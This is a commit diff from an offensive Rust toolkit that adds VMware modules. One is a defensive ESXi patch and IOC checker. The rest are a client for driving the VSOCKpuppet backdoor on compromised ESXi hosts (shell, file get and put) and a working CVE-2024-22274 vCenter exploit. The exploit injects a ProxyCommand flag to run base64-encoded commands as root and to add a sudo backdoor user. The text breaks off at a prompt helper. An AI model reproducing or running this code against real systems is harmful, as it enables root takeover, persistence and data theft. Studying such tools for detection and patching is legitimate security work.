mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,286 @@
|
||||
// ESXi VM Escape Vulnerability Checker
|
||||
// CVE-2025-22224 / CVE-2025-22225 / CVE-2025-22226
|
||||
//
|
||||
// Checks ESXi hosts for vulnerability to the VM escape chain and
|
||||
// detects indicators of compromise (IOCs) from known exploitation.
|
||||
//
|
||||
// Affected versions:
|
||||
// - ESXi 8.0 < 8.0 U2b (Build 23305546)
|
||||
// - ESXi 7.0 < 7.0 U3q (Build 23307199)
|
||||
//
|
||||
// For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::io::Read;
|
||||
use std::net::TcpStream;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{normalize_target, prompt_default};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
// Patched build numbers
|
||||
const ESXI_80_PATCHED_BUILD: u64 = 23305546; // 8.0 U2b
|
||||
const ESXI_70_PATCHED_BUILD: u64 = 23307199; // 7.0 U3q
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ESXi VM Escape Vulnerability Checker ║".cyan());
|
||||
println!("{}", "║ CVE-2025-22224 / CVE-2025-22225 / CVE-2025-22226 ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Checks for vulnerability and IOCs ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Create SSH session to ESXi host
|
||||
fn create_esxi_ssh_session(host: &str, port: u16, username: &str, password: &str) -> Result<(TcpStream, Session)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse().map_err(|_| anyhow!("Invalid address"))?,
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
).map_err(|e| anyhow!("Connection failed: {}", e))?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp.try_clone()?);
|
||||
sess.handshake()?;
|
||||
|
||||
sess.userauth_password(username, password)?;
|
||||
|
||||
if !sess.authenticated() {
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
Ok((tcp, sess))
|
||||
}
|
||||
|
||||
/// Execute command on ESXi
|
||||
fn esxi_exec(sess: &Session, cmd: &str) -> Result<(i32, String, String)> {
|
||||
let mut channel = sess.channel_session()?;
|
||||
channel.exec(cmd)?;
|
||||
|
||||
let mut stdout = String::new();
|
||||
let mut stderr = String::new();
|
||||
|
||||
sess.set_blocking(true);
|
||||
|
||||
channel.read_to_string(&mut stdout)?;
|
||||
channel.stderr().read_to_string(&mut stderr)?;
|
||||
|
||||
channel.wait_close()?;
|
||||
let exit_code = channel.exit_status()?;
|
||||
|
||||
Ok((exit_code, stdout, stderr))
|
||||
}
|
||||
|
||||
/// Parse ESXi version string to extract version and build
|
||||
fn parse_esxi_version(version_str: &str) -> Option<(String, u64)> {
|
||||
// Format: "VMware ESXi 8.0.0 build-24022510"
|
||||
let parts: Vec<&str> = version_str.split_whitespace().collect();
|
||||
|
||||
let mut version = String::new();
|
||||
let mut build: u64 = 0;
|
||||
|
||||
for (i, part) in parts.iter().enumerate() {
|
||||
if *part == "ESXi" && i + 1 < parts.len() {
|
||||
version = parts[i + 1].to_string();
|
||||
}
|
||||
if part.starts_with("build-") {
|
||||
if let Ok(b) = part.trim_start_matches("build-").parse::<u64>() {
|
||||
build = b;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !version.is_empty() && build > 0 {
|
||||
Some((version, build))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if ESXi version is vulnerable
|
||||
fn is_vulnerable(version: &str, build: u64) -> bool {
|
||||
if version.starts_with("8.") {
|
||||
build < ESXI_80_PATCHED_BUILD
|
||||
} else if version.starts_with("7.") {
|
||||
build < ESXI_70_PATCHED_BUILD
|
||||
} else if version.starts_with("6.") || version.starts_with("5.") {
|
||||
// ESXi 6.x and 5.x are EOL and vulnerable
|
||||
true
|
||||
} else {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/// Check for IOCs of exploitation
|
||||
pub async fn check_iocs(host: &str, port: u16, username: &str, password: &str) -> Result<bool> {
|
||||
println!("{}", "[*] Checking for Indicators of Compromise (IOCs)...".cyan());
|
||||
|
||||
let (_, sess) = create_esxi_ssh_session(host, port, username, password)?;
|
||||
|
||||
let mut found_ioc = false;
|
||||
|
||||
// IOC 1: Check for backdoor file /var/run/a
|
||||
println!("{}", "[*] Checking for backdoor file /var/run/a...".dimmed());
|
||||
match esxi_exec(&sess, "ls -la /var/run/a 2>/dev/null") {
|
||||
Ok((0, stdout, _)) if !stdout.is_empty() => {
|
||||
println!("{}", "[!] IOC FOUND: /var/run/a exists!".red().bold());
|
||||
println!(" {}", stdout.trim());
|
||||
found_ioc = true;
|
||||
}
|
||||
_ => println!("{}", " [OK] /var/run/a not found".green()),
|
||||
}
|
||||
|
||||
// IOC 2: Check inetd.conf for suspicious entries
|
||||
println!("{}", "[*] Checking inetd.conf for malicious entries...".dimmed());
|
||||
match esxi_exec(&sess, "grep -E 'ftp.*stream.*tcp.*root.*/var/run' /var/run/inetd.conf 2>/dev/null") {
|
||||
Ok((0, stdout, _)) if !stdout.is_empty() => {
|
||||
println!("{}", "[!] IOC FOUND: Suspicious inetd.conf entry!".red().bold());
|
||||
println!(" {}", stdout.trim());
|
||||
found_ioc = true;
|
||||
}
|
||||
_ => println!("{}", " [OK] No suspicious inetd entries".green()),
|
||||
}
|
||||
|
||||
// IOC 3: Check for VSOCK listeners on port 10000
|
||||
println!("{}", "[*] Checking for VSOCK backdoor listeners...".dimmed());
|
||||
match esxi_exec(&sess, "lsof -a 2>/dev/null | grep -i vsock") {
|
||||
Ok((0, stdout, _)) if !stdout.is_empty() => {
|
||||
println!("{}", "[!] VSOCK processes found (review manually):".yellow());
|
||||
for line in stdout.lines().take(5) {
|
||||
println!(" {}", line);
|
||||
}
|
||||
}
|
||||
_ => println!("{}", " [OK] No obvious VSOCK backdoors".green()),
|
||||
}
|
||||
|
||||
// IOC 4: Check for suspicious processes
|
||||
println!("{}", "[*] Checking for suspicious processes in /var/run...".dimmed());
|
||||
match esxi_exec(&sess, "ps -c | grep '/var/run' 2>/dev/null") {
|
||||
Ok((0, stdout, _)) if !stdout.is_empty() => {
|
||||
println!("{}", "[!] Suspicious process running from /var/run:".red().bold());
|
||||
println!(" {}", stdout.trim());
|
||||
found_ioc = true;
|
||||
}
|
||||
_ => println!("{}", " [OK] No suspicious /var/run processes".green()),
|
||||
}
|
||||
|
||||
Ok(found_ioc)
|
||||
}
|
||||
|
||||
/// Check ESXi version and vulnerability status
|
||||
pub async fn check_vulnerability(host: &str, port: u16, username: &str, password: &str) -> Result<bool> {
|
||||
println!("{}", "[*] Checking ESXi version...".cyan());
|
||||
|
||||
let (_, sess) = create_esxi_ssh_session(host, port, username, password)?;
|
||||
println!("{}", format!("[+] Connected to {}", host).green());
|
||||
|
||||
// Get ESXi version
|
||||
let version_cmd = "vmware -v";
|
||||
match esxi_exec(&sess, version_cmd) {
|
||||
Ok((0, stdout, _)) => {
|
||||
let version_str = stdout.trim();
|
||||
println!("{}", format!("[*] Version: {}", version_str).cyan());
|
||||
|
||||
if let Some((version, build)) = parse_esxi_version(version_str) {
|
||||
println!("{}", format!("[*] Parsed: version={}, build={}", version, build).dimmed());
|
||||
|
||||
if is_vulnerable(&version, build) {
|
||||
println!();
|
||||
println!("{}", "╔════════════════════════════════════════════════════════════╗".red());
|
||||
println!("{}", "║ [!] VULNERABLE to VM Escape (CVE-2025-22224/22225/22226) ║".red().bold());
|
||||
println!("{}", "╚════════════════════════════════════════════════════════════╝".red());
|
||||
println!();
|
||||
println!("{}", "Affected CVEs:".yellow());
|
||||
println!(" • CVE-2025-22226 (CVSS 7.1): HGFS OOB Read - Info Leak");
|
||||
println!(" • CVE-2025-22224 (CVSS 9.3): VMCI TOCTOU - OOB Write");
|
||||
println!(" • CVE-2025-22225 (CVSS 8.2): VMX Sandbox Escape");
|
||||
println!();
|
||||
println!("{}", "Recommendation: Patch immediately to ESXi 8.0 U2b or 7.0 U3q".yellow());
|
||||
return Ok(true);
|
||||
} else {
|
||||
println!();
|
||||
println!("{}", "[+] NOT VULNERABLE - Patched version detected".green().bold());
|
||||
return Ok(false);
|
||||
}
|
||||
} else {
|
||||
println!("{}", "[-] Could not parse version string".yellow());
|
||||
}
|
||||
}
|
||||
Ok((code, _, stderr)) => {
|
||||
println!("{}", format!("[-] Command failed with exit code {}: {}", code, stderr.trim()).red());
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to get version: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout().flush().await?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut input).await?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target)?;
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
|
||||
let username = prompt_default("ESXi Username", "root").await?;
|
||||
let password = prompt("ESXi Password").await?;
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "Select mode:".yellow().bold());
|
||||
println!(" 1. Check Vulnerability (version check)");
|
||||
println!(" 2. Scan for IOCs (compromise indicators)");
|
||||
println!(" 3. Full Scan (both)");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Mode", "3").await?;
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
check_vulnerability(&host, port, &username, &password).await?;
|
||||
}
|
||||
"2" => {
|
||||
check_iocs(&host, port, &username, &password).await?;
|
||||
}
|
||||
"3" | _ => {
|
||||
let vuln = check_vulnerability(&host, port, &username, &password).await?;
|
||||
println!();
|
||||
let ioc = check_iocs(&host, port, &username, &password).await?;
|
||||
|
||||
println!();
|
||||
println!("{}", "═══════════════════════════════════════════════════════════".cyan());
|
||||
println!("{}", " SUMMARY ".cyan().bold());
|
||||
println!("{}", "═══════════════════════════════════════════════════════════".cyan());
|
||||
println!(" Vulnerable: {}", if vuln { "YES".red().bold() } else { "NO".green() });
|
||||
println!(" IOCs Found: {}", if ioc { "YES".red().bold() } else { "NO".green() });
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] ESXi vulnerability check complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,256 @@
|
||||
// ESXi VSOCK Post-Exploitation Client
|
||||
// For use after successful VM escape exploitation
|
||||
//
|
||||
// This module implements a VSOCK client that can communicate with
|
||||
// the VSOCKpuppet backdoor (or similar) on a compromised ESXi host.
|
||||
//
|
||||
// Protocol:
|
||||
// 1. Connect to CID 2 (hypervisor) on VSOCK port 10000
|
||||
// 2. Handshake: send "test" + "ok", receive "ok"
|
||||
// 3. Commands: GET <path>, POST <path> <data>, or shell commands
|
||||
//
|
||||
// For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::io::{Read, Write};
|
||||
use std::net::TcpStream;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{normalize_target, prompt_default};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ESXi VSOCK Post-Exploitation Client ║".cyan());
|
||||
println!("{}", "║ For interacting with VSOCKpuppet backdoor on ESXi ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Modes: ║".cyan());
|
||||
println!("{}", "║ 1. Interactive Shell ║".cyan());
|
||||
println!("{}", "║ 2. Download File (GET) ║".cyan());
|
||||
println!("{}", "║ 3. Upload File (POST) ║".cyan());
|
||||
println!("{}", "║ 4. Execute Single Command ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
println!("{}", "[!] Note: VSOCK requires the attack to be run FROM WITHIN a VM".yellow());
|
||||
println!("{}", "[!] This module uses TCP fallback for testing (port 21 hijack)".yellow());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Connect to ESXi backdoor via TCP (inetd hijack on port 21)
|
||||
fn connect_backdoor_tcp(host: &str, port: u16) -> Result<TcpStream> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let stream = TcpStream::connect_timeout(
|
||||
&addr.parse().map_err(|_| anyhow!("Invalid address"))?,
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
).map_err(|e| anyhow!("Connection failed: {}", e))?;
|
||||
|
||||
stream.set_read_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
|
||||
stream.set_write_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
|
||||
|
||||
Ok(stream)
|
||||
}
|
||||
|
||||
/// Perform VSOCK handshake
|
||||
fn handshake(stream: &mut TcpStream) -> Result<bool> {
|
||||
// Send "test"
|
||||
stream.write_all(b"test")?;
|
||||
|
||||
// Send "ok"
|
||||
stream.write_all(b"ok")?;
|
||||
|
||||
// Read response
|
||||
let mut buf = [0u8; 2];
|
||||
match stream.read_exact(&mut buf) {
|
||||
Ok(_) => {
|
||||
if &buf == b"ok" {
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Send command and receive response
|
||||
fn send_command(stream: &mut TcpStream, cmd: &str) -> Result<String> {
|
||||
// Length-prefixed message
|
||||
let cmd_bytes = cmd.as_bytes();
|
||||
let len = cmd_bytes.len() as u32;
|
||||
stream.write_all(&len.to_le_bytes())?;
|
||||
stream.write_all(cmd_bytes)?;
|
||||
|
||||
// Read response length
|
||||
let mut len_buf = [0u8; 4];
|
||||
stream.read_exact(&mut len_buf)?;
|
||||
let resp_len = u32::from_le_bytes(len_buf) as usize;
|
||||
|
||||
// Read response
|
||||
let mut resp_buf = vec![0u8; resp_len];
|
||||
stream.read_exact(&mut resp_buf)?;
|
||||
|
||||
Ok(String::from_utf8_lossy(&resp_buf).to_string())
|
||||
}
|
||||
|
||||
/// Interactive shell mode
|
||||
pub async fn interactive_shell(host: &str, port: u16) -> Result<()> {
|
||||
println!("{}", format!("[*] Connecting to {}:{}...", host, port).cyan());
|
||||
|
||||
let mut stream = connect_backdoor_tcp(host, port)?;
|
||||
|
||||
println!("{}", "[*] Performing handshake...".cyan());
|
||||
if !handshake(&mut stream)? {
|
||||
return Err(anyhow!("Handshake failed - is the backdoor active?"));
|
||||
}
|
||||
|
||||
println!("{}", "[+] Connected to ESXi backdoor!".green().bold());
|
||||
println!("{}", "[*] Type 'exit' to quit, 'get <path>' to download, 'post <path>' to upload".dimmed());
|
||||
println!();
|
||||
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
let mut stdin_reader = tokio::io::BufReader::new(tokio::io::stdin());
|
||||
|
||||
loop {
|
||||
print!("{}", "esxi# ".red());
|
||||
tokio::io::stdout().flush().await?;
|
||||
|
||||
let mut input = String::new();
|
||||
if stdin_reader.read_line(&mut input).await.is_err() {
|
||||
break;
|
||||
}
|
||||
|
||||
let cmd = input.trim();
|
||||
if cmd.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
if cmd == "exit" || cmd == "quit" {
|
||||
println!("{}", "[*] Disconnecting...".cyan());
|
||||
break;
|
||||
}
|
||||
|
||||
match send_command(&mut stream, cmd) {
|
||||
Ok(response) => {
|
||||
println!("{}", response);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Download file from ESXi
|
||||
pub async fn get_file(host: &str, port: u16, remote_path: &str, local_path: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Connecting to {}:{}...", host, port).cyan());
|
||||
|
||||
let mut stream = connect_backdoor_tcp(host, port)?;
|
||||
|
||||
if !handshake(&mut stream)? {
|
||||
return Err(anyhow!("Handshake failed"));
|
||||
}
|
||||
|
||||
let cmd = format!("get {}", remote_path);
|
||||
let content = send_command(&mut stream, &cmd)?;
|
||||
|
||||
std::fs::write(local_path, &content)?;
|
||||
println!("{}", format!("[+] Downloaded {} -> {}", remote_path, local_path).green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Upload file to ESXi
|
||||
pub async fn post_file(host: &str, port: u16, local_path: &str, remote_path: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Connecting to {}:{}...", host, port).cyan());
|
||||
|
||||
let mut stream = connect_backdoor_tcp(host, port)?;
|
||||
|
||||
if !handshake(&mut stream)? {
|
||||
return Err(anyhow!("Handshake failed"));
|
||||
}
|
||||
|
||||
let content = std::fs::read_to_string(local_path)?;
|
||||
let cmd = format!("post {} {}", remote_path, content);
|
||||
let response = send_command(&mut stream, &cmd)?;
|
||||
|
||||
println!("{}", format!("[+] Uploaded {} -> {}", local_path, remote_path).green());
|
||||
println!("{}", response);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Execute single command
|
||||
pub async fn exec_command(host: &str, port: u16, command: &str) -> Result<String> {
|
||||
let mut stream = connect_backdoor_tcp(host, port)?;
|
||||
|
||||
if !handshake(&mut stream)? {
|
||||
return Err(anyhow!("Handshake failed"));
|
||||
}
|
||||
|
||||
send_command(&mut stream, command)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout().flush().await?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut input).await?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target)?;
|
||||
println!("{}", format!("[*] Target ESXi: {}", host).cyan());
|
||||
|
||||
// Default to port 21 (hijacked FTP via inetd)
|
||||
let port: u16 = prompt_default("Backdoor Port (TCP fallback)", "21").await?.parse().unwrap_or(21);
|
||||
|
||||
println!();
|
||||
println!("{}", "Select mode:".yellow().bold());
|
||||
println!(" 1. Interactive Shell");
|
||||
println!(" 2. Download File (GET)");
|
||||
println!(" 3. Upload File (POST)");
|
||||
println!(" 4. Execute Single Command");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Mode", "1").await?;
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
interactive_shell(&host, port).await?;
|
||||
}
|
||||
"2" => {
|
||||
let remote_path = prompt("Remote file path on ESXi").await?;
|
||||
let local_path = prompt("Local path to save").await?;
|
||||
get_file(&host, port, &remote_path, &local_path).await?;
|
||||
}
|
||||
"3" => {
|
||||
let local_path = prompt("Local file path").await?;
|
||||
let remote_path = prompt("Remote path on ESXi").await?;
|
||||
post_file(&host, port, &local_path, &remote_path).await?;
|
||||
}
|
||||
"4" => {
|
||||
let command = prompt("Command to execute").await?;
|
||||
let output = exec_command(&host, port, &command).await?;
|
||||
println!();
|
||||
println!("{}", output);
|
||||
}
|
||||
_ => {
|
||||
println!("{}", "[-] Invalid mode".red());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] VSOCK client complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
pub mod vcenter_backup_rce;
|
||||
pub mod vcenter_file_read;
|
||||
pub mod esxi_vm_escape_check;
|
||||
pub mod esxi_vsock_client;
|
||||
@@ -0,0 +1,271 @@
|
||||
// VMware vCenter CVE-2024-22274 - Authenticated RCE via backup.validate flag injection
|
||||
//
|
||||
// Affected: VMware vCenter Server 8.0 < 8.0 U2b, 7.0 < 7.0 U3q
|
||||
// CVSS: 7.2 (High)
|
||||
//
|
||||
// The com.vmware.appliance.recovery.backup.validate API is vulnerable to flag injection.
|
||||
// By injecting malicious SSH flags in the --locationUser parameter, an authenticated
|
||||
// admin user can execute arbitrary commands as root.
|
||||
//
|
||||
// Requirements:
|
||||
// - SSH access to vCenter appliance shell
|
||||
// - Credentials with "admin" role
|
||||
//
|
||||
// For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::io::Read;
|
||||
use std::net::TcpStream;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{normalize_target, prompt_default, prompt_int_range};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ VMware vCenter CVE-2024-22274 ║".cyan());
|
||||
println!("{}", "║ Authenticated RCE via backup.validate Flag Injection ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Attack Modes: ║".cyan());
|
||||
println!("{}", "║ 1. Check (Safe - touch /tmp/rce_check) ║".cyan());
|
||||
println!("{}", "║ 2. Execute Custom Command ║".cyan());
|
||||
println!("{}", "║ 3. Add Backdoor User (sudo access) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Create SSH session to vCenter appliance
|
||||
fn create_vcenter_ssh_session(host: &str, port: u16, username: &str, password: &str) -> Result<(TcpStream, Session)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse().map_err(|_| anyhow!("Invalid address"))?,
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
).map_err(|e| anyhow!("Connection failed: {}", e))?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp.try_clone()?);
|
||||
sess.handshake()?;
|
||||
|
||||
sess.userauth_password(username, password)?;
|
||||
|
||||
if !sess.authenticated() {
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
Ok((tcp, sess))
|
||||
}
|
||||
|
||||
/// Execute command in vCenter appliance shell
|
||||
fn vcenter_shell_exec(sess: &Session, cmd: &str) -> Result<(i32, String, String)> {
|
||||
let mut channel = sess.channel_session()?;
|
||||
channel.exec(cmd)?;
|
||||
|
||||
let mut stdout = String::new();
|
||||
let mut stderr = String::new();
|
||||
|
||||
sess.set_blocking(true);
|
||||
|
||||
channel.read_to_string(&mut stdout)?;
|
||||
channel.stderr().read_to_string(&mut stderr)?;
|
||||
|
||||
channel.wait_close()?;
|
||||
let exit_code = channel.exit_status()?;
|
||||
|
||||
Ok((exit_code, stdout, stderr))
|
||||
}
|
||||
|
||||
/// Build the malicious backup.validate command with flag injection
|
||||
fn build_exploit_command(payload: &str) -> String {
|
||||
// The payload is injected via -o ProxyCommand= in the --locationUser field
|
||||
// Format: backup.validate --parts common --locationType SFTP --location nowhere
|
||||
// --locationUser '-o ProxyCommand=;<PAYLOAD> 2>' --locationPassword x
|
||||
|
||||
format!(
|
||||
"backup.validate --parts common --locationType SFTP --location nowhere --locationUser '-o ProxyCommand=;{} 2>' --locationPassword x",
|
||||
payload
|
||||
)
|
||||
}
|
||||
|
||||
/// Generate base64-encoded payload for complex commands
|
||||
fn encode_payload(cmd: &str) -> String {
|
||||
use base64::Engine;
|
||||
let encoded = base64::engine::general_purpose::STANDARD.encode(cmd);
|
||||
format!("/bin/bash -c \"{{echo,{}}}|{{base64,-d}}|bash\"", encoded)
|
||||
}
|
||||
|
||||
/// Check vulnerability (safe mode - creates /tmp/rce_check file)
|
||||
pub async fn attack_check(host: &str, port: u16, username: &str, password: &str) -> Result<bool> {
|
||||
println!("{}", "[*] Running vulnerability check (safe mode)...".cyan());
|
||||
|
||||
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
|
||||
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
|
||||
|
||||
// Simple payload: touch /tmp/rce_check
|
||||
let payload = "/bin/touch /tmp/rce_check";
|
||||
let exploit_cmd = build_exploit_command(payload);
|
||||
|
||||
println!("{}", "[*] Executing exploit command...".cyan());
|
||||
println!("{}", format!("[DEBUG] Command: {}", exploit_cmd).dimmed());
|
||||
|
||||
let _ = vcenter_shell_exec(&sess, &exploit_cmd);
|
||||
|
||||
// Verify file was created
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
|
||||
let verify_cmd = "ls -la /tmp/rce_check 2>/dev/null || echo 'NOT_FOUND'";
|
||||
match vcenter_shell_exec(&sess, verify_cmd) {
|
||||
Ok((_, stdout, _)) => {
|
||||
if stdout.contains("NOT_FOUND") {
|
||||
println!("{}", "[-] Vulnerability check FAILED - file not created".red());
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "[+] VULNERABLE! File /tmp/rce_check created as root".green().bold());
|
||||
println!("{}", stdout.trim());
|
||||
|
||||
// Cleanup
|
||||
let _ = vcenter_shell_exec(&sess, "rm -f /tmp/rce_check");
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Verification failed: {}", e).red());
|
||||
return Ok(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Execute custom command as root
|
||||
pub async fn attack_exec(host: &str, port: u16, username: &str, password: &str, command: &str) -> Result<bool> {
|
||||
println!("{}", format!("[*] Executing command as root: {}", command).cyan());
|
||||
|
||||
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
|
||||
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
|
||||
|
||||
// Encode the command to avoid shell interpretation issues
|
||||
let payload = encode_payload(command);
|
||||
let exploit_cmd = build_exploit_command(&payload);
|
||||
|
||||
println!("{}", "[*] Executing exploit...".cyan());
|
||||
|
||||
// Execute the exploit
|
||||
let _ = vcenter_shell_exec(&sess, &exploit_cmd);
|
||||
|
||||
println!("{}", "[+] Command sent. Note: Output may not be visible due to injection method.".yellow());
|
||||
println!("{}", "[*] For commands with output, consider redirecting to a file.".dimmed());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Add backdoor user with sudo access
|
||||
pub async fn attack_add_user(host: &str, port: u16, username: &str, password: &str,
|
||||
backdoor_user: &str, backdoor_pass: &str) -> Result<bool> {
|
||||
println!("{}", format!("[*] Adding backdoor user: {}", backdoor_user).cyan());
|
||||
|
||||
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
|
||||
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
|
||||
|
||||
// Command to add user with sudo access
|
||||
// useradd USER && echo -e "PASS\nPASS" | passwd USER ; usermod -s /bin/bash USER && usermod -aG sudo USER
|
||||
let add_user_cmd = format!(
|
||||
"useradd {} && echo -e \"{}\\n{}\" | passwd {} ; usermod -s /bin/bash {} && usermod -aG sudo {}",
|
||||
backdoor_user, backdoor_pass, backdoor_pass, backdoor_user, backdoor_user, backdoor_user
|
||||
);
|
||||
|
||||
let payload = encode_payload(&add_user_cmd);
|
||||
let exploit_cmd = build_exploit_command(&payload);
|
||||
|
||||
println!("{}", "[*] Executing user creation exploit...".cyan());
|
||||
|
||||
let _ = vcenter_shell_exec(&sess, &exploit_cmd);
|
||||
|
||||
// Wait and verify
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
|
||||
let verify_cmd = format!("id {} 2>/dev/null || echo 'NOT_FOUND'", backdoor_user);
|
||||
match vcenter_shell_exec(&sess, &verify_cmd) {
|
||||
Ok((_, stdout, _)) => {
|
||||
if stdout.contains("NOT_FOUND") {
|
||||
println!("{}", "[-] User creation may have failed".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] SUCCESS! User {} created", backdoor_user).green().bold());
|
||||
println!("{}", stdout.trim());
|
||||
println!();
|
||||
println!("{}", format!("[*] Connect via: ssh {}@{}", backdoor_user, host).cyan());
|
||||
println!("{}", format!("[*] Password: {}", backdoor_pass).cyan());
|
||||
}
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
